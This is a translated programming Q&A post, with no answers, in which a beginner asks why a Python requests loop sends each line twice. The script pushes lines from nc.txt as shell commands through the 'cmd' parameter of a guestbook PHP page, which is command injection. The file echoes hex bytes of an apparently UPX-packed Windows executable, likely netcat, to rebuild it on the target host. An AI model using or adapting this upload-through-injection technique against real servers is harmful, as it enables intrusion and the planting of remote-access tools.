Python请求发送两次

时间:2019-03-08 10:41:34

标签: python-3.x python-requests

我编写了一个简短的Python脚本,通过将其回显到URL来推送文件。

import requests
import re

line=''
url1='http://XX.XX.XX.XX/addguestbook.php?name=a&cmd='
url2='/bla/bla'

with open("nc.txt", "r") as echofile:
    data = echofile.readlines()

for line in data:
    r=requests.get(url1+line+url2)
    #print(line)

nc.txt文件使用以下格式:

echo n 1.dll >123.hex
echo e 0100 >>123.hex
echo 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00  >>123.hex 
echo e 0180 >>123.hex
echo 50 45 00 00 4c 01 03 00 b9 8e ae 34 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 05 00 00 70 00 00 00 10 00 00 00 d0 00 00 70 4c 01 00 00 e0 00 00 00 50 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 01 00 00 10 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00  >>123.hex 
echo e 0200 >>123.hex
echo 00 50 01 00 b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00  >>123.hex 
echo e 0280 >>123.hex
echo 00 d0 00 00 00 10 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 70 00 00 00 e0 00 00 00 70 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 55 50 58 32 00 00 00 00 00 10 00 00 00 50 01 00 00 02 00 00 00 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 33 2e 39 34 00 55 50 58 21 0d 09 02 09 6e 0c ee  >>123.hex 
echo e 0300 >>123.hex

问题是,每行似乎都发送了两次。我已经在网上找到了有关此问题的讨论(建议它是由重定向引起的),但没有实际可用的解决方案。

我对编程还很陌生,所以将不胜感激!

0 个答案:

没有答案